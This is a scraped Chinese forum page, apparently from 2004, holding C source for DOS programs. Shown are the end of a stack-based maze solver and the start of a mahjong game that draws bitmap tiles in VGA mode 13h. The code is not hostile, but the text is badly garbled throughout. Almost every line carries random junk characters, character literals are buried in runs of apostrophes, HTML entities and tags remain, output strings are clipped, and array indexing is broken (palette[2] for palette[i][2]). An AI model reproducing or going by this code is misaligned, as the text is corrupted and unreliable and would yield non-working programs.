  l5 \& s) t* k$ s! g} /* Pass *// _) |( A% D& S4 O6 m- b
void MarkPrint(PosType seat)8 t* Q/ D! e9 C& _" c  {# u
/* Mark the position seat. */
3 {/ q* Y8 F# w: n{1 O* G7 P$ @1 g  B2 m  i& Z
maze[seat.x][seat.y].mark=-1;
. H& K- V+ }( B' O+ {, Z, W( @/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
% p) y! `7 A; z# a} /* MarkPrint */$ C/ j8 F8 b$ d( a8 O% x7 n7 l
void FootPrint(PosType curpos)
, v! F4 x% x  m! b/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */8 k0 E: M4 L+ T4 ~! x2 C
{
# h; }" {5 T. R, }1 m  o- r! [8 umaze[curpos.x][curpos.y].foot=1;& U; [# M& b3 ^2 [& [/ W9 X
} /* FootPrint */
' a6 z0 }4 q& W. g/ L0 z9 wPosType NextPos(PosType seat,int di)
8 X" G% X% K% c" I% V1 x* [" r" v2 X{
" h4 @2 Y1 k8 P) s! vswitch(di)* s* J- B4 C- S' n
{% [: @- X$ L# Z3 k6 a4 Z
case 1: seat.y++; return seat; /* Eastward */
8 t& ~  J  f9 L$ X% M- E: Ycase 2: seat.x++; return seat; /* Southward */
8 j! m9 I4 N0 Q- S" Pcase 3: seat.y--; return seat; /* Westward */
/ a& `7 A5 g! T  o% T- T4 w7 Qcase 4: seat.x--; return seat; /* Northward */
6 F4 V9 P0 |4 i# xdefault: seat.x=0; seat.y=0; return seat;
0 a) u# l- P. _/ R. u8 j}0 i. R/ C% o! L/ {' t" a
} /* NextPos */
% \3 N& Y+ P. G4 r  N: k5 q8 b9 o% \  d2 `+ t3 N2 |+ m( _
/* The key to the program. */+ ]: _! i7 O8 z
/* Pre: The maze array &amp; the startplace &amp; the endplace.
" v% }4 r9 e" S) p2 n! w& sPost: Find the one traverse of the maze and perform the mazepath.+ U1 [* e  [' W- k
Uses: The ADT stack class.
' _0 G/ E. D7 [0 }*/
! M1 u/ Y$ K; R" f7 y+ tStatus MazePath(PosType start,PosType end)
: w. c6 B/ c1 L4 u# X' G! n{
3 R* ^# T) k' IPosType curpos;
3 ^6 ~/ J  A2 L5 @# [6 Z5 _. qint curstep;/ Q, i+ i# p4 V4 A
SElemType e;
7 X/ M3 r' C+ n' t' P( q( S. gStack *s,stack;; j$ I  E2 R; K: v7 O
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));- h7 m( E' g& n2 \& J# d8 i: R" f5 u
if(!stack.base) Error("Overflow");; l# F2 H. k5 h' V1 E0 l/ M9 J
stack.top=stack.base;# E; k' B5 i1 Z: [5 T
stack.stacksize=STACK_INIT_SIZE;
6 Z; W6 n5 M$ ^0 P$ J# Ns=&amp;stack;3 G) S3 M& |! h+ m
curpos=start;
8 l3 U. A9 @# D( Gcurstep=1;: z/ N+ W5 ^! n) f; j
do7 O9 N2 S6 G. o0 R9 P
{
3 Y$ E" w* j) B  Z; p4 j" l4 g6 sif(Pass(curpos)), u' Z4 H# D+ P# {! C2 ?
{4 u# I; }1 u7 |# W5 O: d* J
FootPrint(curpos);4 ]' C) u7 l% ?1 a4 ?) ^7 a
e.ord=curstep; e.seat=curpos; e.di=1;7 [# F: ^' G# n+ ?; r( l+ J
gotoxy((curpos.y+1)*2,curpos.x+2);
+ d7 n) w2 f6 c( z: L. l" H, I+ U- ?; v( h% @putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');4 b& X1 m, b3 f7 Z: n& p, d/ v: o  p7 g
delay(8000); /* pospone time. */
8 t- I7 ?7 Z, A/ NPush(s,e);. F" k' r0 K0 L4 v
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
! ~5 E- c  F* j1 @3 e{- Q8 T' v( G, b  U, m3 |
DestroyStack(s);8 e4 ]6 u: U7 P' v
return TRUE;$ x# M% y0 @5 P7 S/ G# y
}0 \+ [+ y% F/ U% H! R% |4 ~+ X
curpos=NextPos(curpos,1); /* Try next position. */
, w7 n: U2 P! O4 z, B# mcurstep++;1 l7 f* y( G# ~$ I5 O- P- M
}6 H% D9 i6 y, m" E. E7 G6 j- m
else
# J/ ^  |7 Y; U, X  Z0 L{
( z" o$ w% s* L  _4 {% Wif(!StackEmpty(s))
) H4 e9 B2 E7 L0 u{
8 }0 m0 M1 Q/ J# ze=Pop(s,e); /* Removed e from s. */
- R1 |* n, ^1 l! L" N+ Y+ m( [while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked. d. O5 Q- J( c3 B. `& Z
and s is not empty. */( C2 ~. v; a8 M/ W
{
( t# r$ `/ ^5 r6 kMarkPrint(e.seat);
  V2 S3 ]+ o' k' T# o* F4 P. s- ]gotoxy((e.seat.y+1)*2,e.seat.x+2);
* ~) |/ W: a6 q4 g; Uputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
  I" a0 j& j4 n. k+ x  a1 ndelay(8000); /* Pospone time. */3 ]& v$ ^% ^( k! w$ _' `
gotoxy((e.seat.y+1)*2,e.seat.x+2);
# m5 R  v4 y6 iputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
) m, l( i  s8 s: l0 le=Pop(s,e); /* Remove e from s. */
5 \1 {5 _8 U) `4 r- H2 Ucurstep--;
# U; `( R: R* i) S4 W) ^' ^}# q+ `$ U, C, q! e1 ~, A4 @# L
if(e.di&lt;4) /* The current position hasnot been checked. *// }0 C3 J% w5 X' W; p2 q, T
{
  H8 y3 P! G7 U7 i3 R! x9 ee.di++;, n, d5 z; c" l2 e
Push(s,e); /* Insert e into s. */
& \* X0 b2 q0 C9 A, Tcurpos=NextPos(e.seat,e.di); /* Try next position. */( n- C8 {$ v% Z7 Z3 v
}
: a* M- M; v2 u+ Q3 V* M. j2 U}
# G* T# g; c: D6 U6 \" a}, V, I* B& g% H* I; X3 j5 D
}# E% V3 l# s  b0 m) I
while(!StackEmpty(s));
6 K" z' S5 g  s' H5 y7 c5 B6 VDestroyStack(s);- D! i7 `! h% L7 C6 M  q( K
return FALSE;
. k8 }7 f5 w7 B" k- h5 a} /* MazePath */
, n7 a1 }* @$ x, ^0 y7 t7 Yvoid main()( Q& o3 V  Z8 F$ b
{' V# k# e! h" }* M: A. b
PosType start,end;/ a9 r* o" C3 N( c  X' f- o2 S
CreatMaze();. K' m! [  e/ ~4 ^/ M: W; z
start.x=StartPlace.y;
* M' U! a) P1 X' A1 O% Qstart.y=StartPlace.x;" C8 P5 D0 i" q" j+ T8 D8 ]
end.x=EndPlace.y;
( H0 \5 Z! X% L7 gend.y=EndPlace.x;0 D1 u& f; E- N0 v# S0 x
if(MazePath(start,end))
1 W% L/ B9 A3 r; A7 l7 J3 Q{
7 l' p+ i9 P$ r, mgotoxy(2,22);
& v! w9 R& y0 ^& ~3 [1 Sprintf("ath found\n");
: c0 U+ ~- [4 q( v/ ^}
1 {/ K0 L8 G& }) p( V* W- Kelse! j2 F" x/ W4 C8 v8 Y7 g; l" i
{; ]8 y# R! [* t2 t4 H4 e
gotoxy(2,22);
+ c$ J, s# K2 T2 {* R" E( dprintf("ath not found\n");
! F! g5 B$ c( X7 e4 X- w! t}
. E4 R7 ?/ L9 o+ [' f5 Ogetch();- j4 z( D4 ^9 d4 x* c: @2 b5 l
clrscr();) D' R2 a2 R/ P, W5 P/ S  C' k* M
} </P></DIV>
作者: 韩冰    时间: 2004-10-4 02:36
<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
7 ~: A8 U# f1 K, ]/*天宇软件
/ V- r  k9 C7 S8 ^; I作者:上海黑暗之龙/ O6 U9 m' D3 w3 V9 K+ F3 _
2002/10/30  l& v6 K( I1 T
麻将原代码*/
4 `7 Y2 _* c0 Y- E5 j#include "dos.h"
' ]. O  k" b! m+ A0 E#include "stdio.h"! A6 J3 ?. ]& x/ S( a4 w
#include "graphics.h"' D: u; o. Z9 [: V+ |, B" R- K
#include "bios.h"' e5 ~0 W. p6 w7 ?  C) k4 {9 A
#include "conio.h"
: ?: K& U8 M, g: T% U6 T#include "stdlib.h"# W5 T. z+ u  H/ M. r7 D$ K' v
unsigned char far *video_buffer=(char far *)0xA0000000L;8 a% [* T! J3 ~. i% s$ p! e# z
#define VGA256 0x13 /*图形模式13h*/
& Z, t! {$ e5 n9 Z#define TEXT_MODE 0x03 /*普通文本模式*// R' [2 w* ^) h+ b2 V7 i
#define SETVGA Set_Video_Mode(VGA256)
; E, c- \+ i( ^7 p#define OUTVGA Set_Video_Mode(TEXT_MODE)
* x3 g, ?* I: W  Z  S% T1 q#define BYTE unsigned char
/ H: `. O* i3 t) F3 |( S#define WORD unsigned int' x0 i# s  Q1 Z, @/ G  ~& r+ x( q( `, j) X
#define DWORD unsigned int
+ [+ R- ]6 z  C- u* C#define ESC 283& g8 Z+ w* e& h3 J- z" h
#define LEFT 19200
7 W5 v8 @/ h/ ]$ @#define RIGHT 19712
- |! E" v2 I7 i" s#define H 9064+ O0 H3 _8 b1 D2 z5 X  b# h6 {
#define ENTER 7181
. A1 \2 l% C* K% J5 g1 yunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
, \2 v& ^: x- y2 G6 xint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
) b7 I0 F2 o7 f, e2 C& m3 jstruct chi# ?6 A8 s$ i8 o- R1 x$ w
{
+ V  N. D1 K! p. `int lg;
5 e1 R. D( x5 i: e$ e7 n& h8 L, |int lgg;
8 }5 c) W$ f2 Q+ l( ?8 x}ch[13];
: h# e* a0 k* V/ o) r! F6 ostruct mj2 E5 U) C9 L1 _; p4 e; C
{ char *name; /*名字*/. {* d0 t( z7 I) {, z6 ?  O
int data1; /*是否已出,无用了*/
- @: m, o, P, k  D2 A* w1 |int data2; /*是否在手中,1为自己,2为对方*/7 S- U3 f9 j$ _7 Y5 O4 _+ o
int number; /*同一个花色的第几张,共4张*/
( [. r- X% y; p: S+ r: N/ T}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
, H8 Y$ N, Z9 N. U& f7 ?( Y"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,  z( {3 F+ C; E0 o% s8 _" M% \
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
$ e2 D. f% T) R* u# m$ o; }8 g"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,9 X7 f$ }( y- C& s* U  f
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,/ f9 `) A1 W8 ?1 b" [
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,8 l2 v1 X, W1 e' i, Z1 r
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,8 [: y# Z. E, i' X/ k/ U# t& z
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,: z( H7 \' h* }% ~  {' ]; j& ~6 }5 j! ?7 S
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,9 i" I# C+ m4 ?: y
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
0 T# ]4 I; ^. e' d1 Z8 C% e"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
6 p2 P$ A3 n- h( |- \! j  C! R2 j"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
. _2 c/ Q8 |5 ?/ h"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,  F" S7 ~) k4 f  {1 O: e8 d9 W
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
  q/ ]* A! l- u% E9 G! H"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3," W  G! j$ }; j# _0 I
"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,2 y1 c7 }& F  w8 ~$ U
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,$ P1 \$ E1 I- a
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
, [& d; ]- ?- M( ]/ b"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,7 R" p- x# d! F) e1 t
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,1 a$ a3 K' y: ]& Q. L8 o+ t
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
, E* x; o% u! T4 r"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,2 v" d$ ~% ~4 U* T
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,9 b" K3 n! V, s( Q( ]
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
5 R: {* {5 {/ u, L1 f& {! L  z"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,3 B3 _6 l1 M7 p+ x
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
! V+ _: ~% U, w. {! w"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,. F/ C1 r- o3 M) O4 J$ x
"34.bmp"};; X, o4 x6 o% W
struct every0 J! I& R  K6 H" a! z
{ int *k; /*名字*/
/ w' K) [+ U: _int oneorfour; /*同一张牌的第几张*/
# `8 T' p; c/ ]; C! y4 Kint number; /*第几张牌136*/  k* g1 u" A9 ~) f
int p;
) |: {* d0 a4 L# Y; sint g;
5 P' @+ J2 R& S9 `$ `int c;' p( |3 x( V! U2 q7 c: @
int d[2];, Z/ h$ |9 Z! D9 R9 q& W
};
% u+ H. B3 S  ustruct me' q! m/ X, O- _5 T* A0 r* G
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*// ?3 k% Y+ P0 J: Q$ H% D9 C. j% `
int p; /*乓对方*/
: s# B0 i. _' N4 d" O. \int c; /*吃对方*/" D6 e' L+ P) M, F9 A
int g; /*杠*/
  C5 P6 w' x5 j7 [. u, _- E: Q# }7 _- f7 N) Y# F4 N0 c( [
struct every pp[14]; /*存放手上的牌*/
# I3 n( t( F0 Y' p}me;1 t! Z4 d% T" L* u
struct computer
6 a( A2 c" Y4 a9 Y' O2 ~{ int m;
% i2 t; U8 f) H2 T8 ~8 z" nint p;
- y# a' o5 Y3 h# [; Lint c;
' ]1 D- o* V' ~7 ~, ]7 m0 d! s; w# Sint g;) C$ ~- }8 O) c8 f4 S% e' A4 |
struct every pp[14];
' Q; f7 M& ~3 g3 Q/ ^}computer,comp;& ~* T4 m% U' e% W& G
8 @* Z1 N/ {" P7 l' p9 u- ]
/* 设置调色板 */  }8 F# b  P% c& u
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b). M# \7 `3 |$ g) D. v5 ]8 |6 {
{+ F- D' b8 a4 F% n$ k( i9 g1 t
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/: t- F% T+ ]$ W% D1 {. |/ n9 J' a5 c
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
0 Q' n4 Z4 g" a* `$ boutportb(0x3c9,g);* n2 P0 m5 d  |! D
outportb(0x3c9,b);
% T3 m1 _9 N2 p; V}
" }; V2 k( C" k/ y# z# h/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/0 z( z7 |4 w5 }. q5 L% s3 g
/* 设置显示模式的函数 */. M+ N5 V( [! u  ^( Q/ P! x
void Set_Video_Mode(int mode)
4 z7 j+ e( J; \, M& w" s# R  ?8 Z{! c; U8 ^/ @1 G5 R2 t1 O& p8 R$ w  p
union REGS inregs,outregs; /*定义输入和返回寄存器*/
1 |( B2 T5 q3 x+ q+ Linregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
; N/ s# [1 Y' h( O5 T4 minregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/9 j* O+ p; z6 H4 N0 q$ ?7 G
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
" H: k% `( W$ [$ X, {}
1 {& d/ {9 Y8 ^  l: }  Evoid v_line(int y0,int y1,int x,unsigned int color)) D# u, a/ z, g+ H! @* Q
{ unsigned int address,n,temp;
% B% k8 b; f( Q- Z1 I( V4 n  eif(y0&gt;y1)
6 w. q7 o7 l7 ]2 ?5 K% l  z{: J; e8 d* k. o  l$ d
temp=y1;8 |0 i# E& d" i5 ]9 {, A( r. k. ]
y1=y0;
+ e8 G4 v( i7 v2 G3 l; ~$ \y0=temp;
: I, K# F/ {1 e6 N}- F) M* S1 o- @& V4 U$ e. |
address=320*y0+x;/ X9 B( P/ t$ `7 F& M( N9 \
for(n=0;n&lt;=y1-y0;n++)
  X: b6 G) s1 R( C{
, X- X  c+ [1 N& J* Gvideo_buffer[address]=color;9 m) O/ E6 o0 M" C1 I! |- Y
address+=320;- b! d) z$ z" m: c( _" Z. A
}" \3 I" i+ \" u. V1 W
}
; |: |1 Z" y  a7 d, Dvoid h_line(int x0,int x1,int y,unsigned int color)
+ I& O. g/ S$ V! r' I+ l{ unsigned int address,n,temp;" l/ Z  d$ d+ \& _
if(x0&gt;x1)( i0 D' t# H6 j; [- `
{
0 V% ^2 S6 P9 Otemp=x1;
5 ~$ e5 l5 Z+ k; K6 }x1=x0;
+ C: o1 T* h5 Tx0=temp;3 i, w7 s* |+ ^' a7 C/ R8 h3 r
}0 Z0 e8 R" @2 s  O
address=320*y+x0;
3 s0 b$ B! H' Cfor(n=0;n&lt;=x1-x0;n++)* h1 n5 n/ K: l+ U0 @/ h
{
  R; s- a3 K0 [$ z0 @, n% H4 ~video_buffer[address]=color;7 U! n3 F: E6 n% }- N
address+=1;! y0 @8 X6 X  Q7 V
}0 h( x5 o1 E) Q- R" p
}1 u% B. T& i5 P( t
void p_pixel(int x,int y,unsigned int color)% ^2 x$ N5 D' X% b1 ~$ }0 ^
{ video_buffer[y*320+x]=color;
6 H: u! U. c# U; h1 B}
' X9 `5 X# Z9 Q. a- }0 t* b1 O- jvoid s_square(int x,int y,int side,int color)
) K/ Q7 H# ~" n7 {{
. H! g4 H, j9 Y) Ih_line(x,x+side,y,color);
4 g3 i, l# D  jh_line(x,x+side,y+side,color);" v% C  @( B5 v2 l
v_line(y,y+side,x,color);
( j. T* |: K) G. q# S* z# Nv_line(y,y+side,x+side,color);* l! q" d/ A' [+ _- K5 R
}+ [! z7 J( Q  S8 j' I* }+ i
void r_rectangle(int x1,int y1,int x2,int y2,int color)
; n! v2 F7 S' h) x% q5 j7 b! \{1 W3 {* Z; L, z
h_line(x1,x2,y1,color);
( _) j0 A$ U2 y5 A- ih_line(x1,x2,y2,color);$ t$ |7 l1 M2 R: i/ p! |( f5 c( F
v_line(y1,y2,x1,color);
1 ?, n7 `- `) p9 S: f; yv_line(y1,y2,x2,color);
: v6 a6 c4 V/ b  T  U8 K$ `# X3 d}# k: h9 h' J( m7 j0 n( b, v& Y
void fillRectangle(int x1,int y1,int x2,int y2,int color); {, R: l- X9 j1 z3 ?! V
{
/ W( S) y8 l7 D$ S5 Qint i;
2 r' u" V- X$ h  C# }5 Afor(i=y1;i&lt;=y2;i++)+ [4 E; l6 e' q5 }6 A9 Z$ C9 A: B3 d
{" E, M% M( M( @7 D
h_line(x1,x2,i,color);% b$ `# z1 ~2 t: _; H( h: B& w
}9 S5 P, Y( J4 v/ l1 a$ m" }
}
: a/ Q  @" g/ Lvoid showbmp(int l)
8 }0 M( A2 D/ u) v{ FILE *bmp;) |8 @4 H4 c/ ~, T) ^. l$ x
int i,x,y;
- y. |2 q; y2 U: x3 U1 k, ]BYTE palette[256][3];4 s: k3 V# l  A" _2 M7 ]
bmp=fopen(me.pp[l].k,"rb");) i2 t' G& y: C  d+ H) |9 b
fseek(bmp,54,SEEK_SET);. h+ G! y3 A0 ~9 X
for(i=0;i&lt;256;i++)
, g' u# W. c/ D1 G, j! c: z{" h( i$ ^8 ^; s1 E
palette[2]=fgetc(bmp)&gt;&gt;2;9 l3 q4 a; H7 N9 Z
palette[1]=fgetc(bmp)&gt;&gt;2;
+ ]( N2 O" |, i  y! ypalette[0]=fgetc(bmp)&gt;&gt;2;1 L/ S  n4 [3 l' T! s: e
fgetc(bmp);
6 }8 Y0 Y1 ~/ {- W& `, a  ^& F; ?: xSet_Palette(i,palette[0],palette[1],palette[2]);
, a7 s4 N! I6 M5 ~}
) w7 m% d9 g) t( d5 g4 Ffor (y=0;y&lt;30;y++)" j1 G7 l) |( N% C
for(x=0;x&lt;20;x++)+ C$ N: C  E/ Q% I  l
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
3 Z+ B/ q5 [; {4 R3 N7 h7 J6 kfclose(bmp);
' p5 a" e  i3 a, ]( n}# A& }, g& C! u" w! V" C
void showbmpd(int l)
2 l( l: l& u' U# i{ FILE *bmp;
0 M( c% B% ], i! i  E: D0 tint i,x,y;
( _  C$ p8 F* S: I# I4 Q9 C" i% NBYTE palette[256][3];
! d% ~6 }$ o  h6 A' Xbmp=fopen(me.pp[l].k,"rb");
# ]9 H: A+ a5 w- ifseek(bmp,54,SEEK_SET);
0 D5 B1 M5 M" \7 kfor(i=0;i&lt;256;i++)/ ?) q' N1 y$ C  B" O) I
{* g! e( B; s. z: ?( Z4 R  ^
palette[2]=fgetc(bmp)&gt;&gt;2;0 }* Y% @4 Q: r( \
palette[1]=fgetc(bmp)&gt;&gt;2;
# j5 Q' h+ p& D1 w- x& k) `palette[0]=fgetc(bmp)&gt;&gt;2;, _% v: [3 x% j' f) H5 Z
fgetc(bmp);5 D4 n7 V8 M7 k+ `$ S3 }
Set_Palette(i,palette[0],palette[1],palette[2]);
1 Z& l& z" D6 N6 B* K% F: t; n}
' y' |' Y6 F) q6 O8 efor (y=0;y&lt;30;y++)
% b: m8 t. `% z  Kfor(x=0;x&lt;20;x++)
4 m) a; N' E7 \- n. Q9 F$ C& ?9 |pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
  ?, O6 q% J. Vfclose(bmp);; W6 o! A& K1 ?1 v, z# X- Q
}
6 |8 z3 g- C0 d/ g1 f/ _0 Y- Kvoid showybmp(int ll)$ n0 \. x; S# {5 f% ], Y" u
{ FILE *bmp;7 F& J: ?. [+ I
int i,x,y;
: G8 p/ o3 y5 e$ }6 V: YBYTE palette[256][3];
4 g  {1 J& N, Rbmp=fopen(computer.pp[ll].k,"rb");
/ h2 E. y7 \1 q. s2 S: }& Bfseek(bmp,54,SEEK_SET);3 S- {. G  }: }2 ^. J
for(i=0;i&lt;256;i++)
  n1 G' [2 a  p' |{
. }: H0 u0 }. ]; g# Bpalette[2]=fgetc(bmp)&gt;&gt;2;( _0 t" k& v$ y3 j  s# k
palette[1]=fgetc(bmp)&gt;&gt;2;
3 C5 r. E/ F, j7 t" W& N  gpalette[0]=fgetc(bmp)&gt;&gt;2;
5 k. ^! C" m" C7 s% Gfgetc(bmp);/ D1 z, i! l; u
Set_Palette(i,palette[0],palette[1],palette[2]);
5 H! c1 ]9 M1 @1 p8 w}' j. t7 f7 O' r* d5 G2 _
for (y=0;y&lt;30;y++)
( Z$ g% D& _/ _$ \for(x=0;x&lt;20;x++)
; x( B; v/ v% g! Wpokeb(0xa000,y*320+x+zy,fgetc(bmp));
; Q- v+ X2 R6 s% r% f" _$ Cfclose(bmp);: z1 T0 S$ Y# f, t" w7 [
}
7 K4 S$ x0 j8 n. p7 A; C" p, dvoid showcbmp(int ll)9 q; b0 W! H. x3 @* k* ]" e0 F
{ FILE *bmp;
! E" G0 c4 d* G1 j; ]7 z! wint i,x,y;
: i1 D2 N& w7 ^+ c! w7 y- ?. ZBYTE palette[256][3];' C" ], n5 I7 P" {* O5 h! _4 q
bmp=fopen(computer.pp[ll].k,"rb");  C" q7 i% C* s8 Q' T2 {
fseek(bmp,54,SEEK_SET);
1 E& }% D# P# G, p8 O4 Ufor(i=0;i&lt;256;i++)8 u+ B0 ^- A5 \! K; C. w4 @+ z
{
8 O+ r6 G: [2 F0 upalette[2]=fgetc(bmp)&gt;&gt;2;9 |, k0 j2 ^2 j
palette[1]=fgetc(bmp)&gt;&gt;2;
7 r& }$ r! y8 E' f- \palette[0]=fgetc(bmp)&gt;&gt;2;( Z, ?# o: j9 }5 `! I% d
fgetc(bmp);
7 c4 k% P- Y# o" Q8 }3 ^Set_Palette(i,palette[0],palette[1],palette[2]);+ {% X$ a1 D1 R! S- }
}
* ]7 v: Z8 C' Bfor (y=0;y&lt;30;y++)+ B  W; Z9 S8 `* ^5 ^* X2 l
for(x=0;x&lt;20;x++), a3 y* \% |, |, \9 ?$ b
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));6 k, I2 Q3 B# X$ ]) ]. f2 l% L
fclose(bmp);" O/ G" l6 B4 F1 G. O; W6 Y; m# _
}+ p, r+ V% B7 k( y0 `! c% M
void bmpp(int number)6 l( n: h7 {: @
{ FILE *bmp;% r% v/ |; W  `+ ~
int i,x,y;
  ^/ ?6 ]% c6 ^BYTE palette[256][3];; D9 m  S/ f" X0 F% {8 Q3 E% d6 _% j' r
bmp=fopen(m[number].name,"rb");
! ?3 d# R; P& @fseek(bmp,54,SEEK_SET);/ ]& @5 o$ S6 e$ s3 t; D2 Q8 J
for(i=0;i&lt;256;i++)
6 C$ a4 F! B' K' J/ ^+ a0 k{; q8 k$ E* N8 Q6 L% r& N
palette[2]=fgetc(bmp)&gt;&gt;2;7 F8 E' w3 A$ ~& q6 f! Z4 B1 \6 c
palette[1]=fgetc(bmp)&gt;&gt;2;5 E! }/ ]# x+ U: B' I
palette[0]=fgetc(bmp)&gt;&gt;2;
3 Y2 l% `+ ~; V. {' Kfgetc(bmp);
* Z3 e7 ~! l6 vSet_Palette(i,palette[0],palette[1],palette[2]);
% X& ^8 ?; k2 t$ ^" A0 V5 M& ~7 Z}
! k6 Z1 G: Y- l, l' f: zfor (y=0;y&lt;30;y++)
" J9 {& l. P. A/ D: H2 a6 {for(x=0;x&lt;20;x++)% B5 k* C3 h1 E4 `) J' j  X
pokeb(0xa000,y*320+x+zl,fgetc(bmp));4 `( f8 R/ G6 ~+ E- M* B
fclose(bmp);* t& ?1 a- w6 F! d2 b
}: a$ u, q! _8 m
void comlipai() /*整理电脑的牌*/( o+ Y7 E: w: ]' C: F" Q8 v8 P7 {
{ int n,j,u;
5 x' b& L) J5 f) X; m9 r# Mint *lingshi;7 a) U; s( s& n8 s+ O1 x2 Q
for(n=0;n&lt;computer.m;n++)- ]; `& c! ^) ]+ q9 c- f; z
for(j=n;j&lt;computer.m;j++)
. T! b' m' b0 Y/ G- ]{) |0 [% V3 q& q- ?; w
if(computer.pp[n].number&gt;computer.pp[j+1].number)! J( }9 k5 p; H+ x  F
{
+ V" n/ C- B2 P% n1 R- Y7 `7 xlingshi=computer.pp[n].k;
. |1 _9 @+ \. D6 [/ R6 ecomputer.pp[n].k=computer.pp[j+1].k;
: i. O7 H# n! d! q0 h5 Ccomputer.pp[j+1].k=lingshi;& s* G, a) y1 H' n' G; ]
u=computer.pp[n].oneorfour;! n' O+ |% K% v. O
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
2 |* b* X$ |) N6 X/ y5 Kcomputer.pp[j+1].oneorfour=u;
/ r1 S9 m5 @- h0 lu=computer.pp[n].number;6 R, ?( Y5 h) U& C3 b& K
computer.pp[n].number=computer.pp[j+1].number;5 @/ g8 a  ~) T% y; l, D7 q
computer.pp[j+1].number=u;% H; b! y7 K, w! s
}5 c; n( {! @- J- q9 {! T0 j! P( b
else
% g  d; d. F/ Y+ }/ L" Mif(computer.pp[n].number==computer.pp[j+1].number)
' `* o; G& @5 B0 n# D" P$ F2 ]if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)8 \9 g& r3 ?" }* B) u. l6 X
{, M, {. a0 w- M2 B/ J
lingshi=computer.pp[n].k;5 x/ C4 i2 {. ^- c+ X7 p
computer.pp[n].k=computer.pp[j+1].k;
; L: U' s6 u3 j) x1 Q  ycomputer.pp[j+1].k=lingshi;' E5 n) i! |+ f8 Z$ ^* _
u=computer.pp[n].oneorfour;
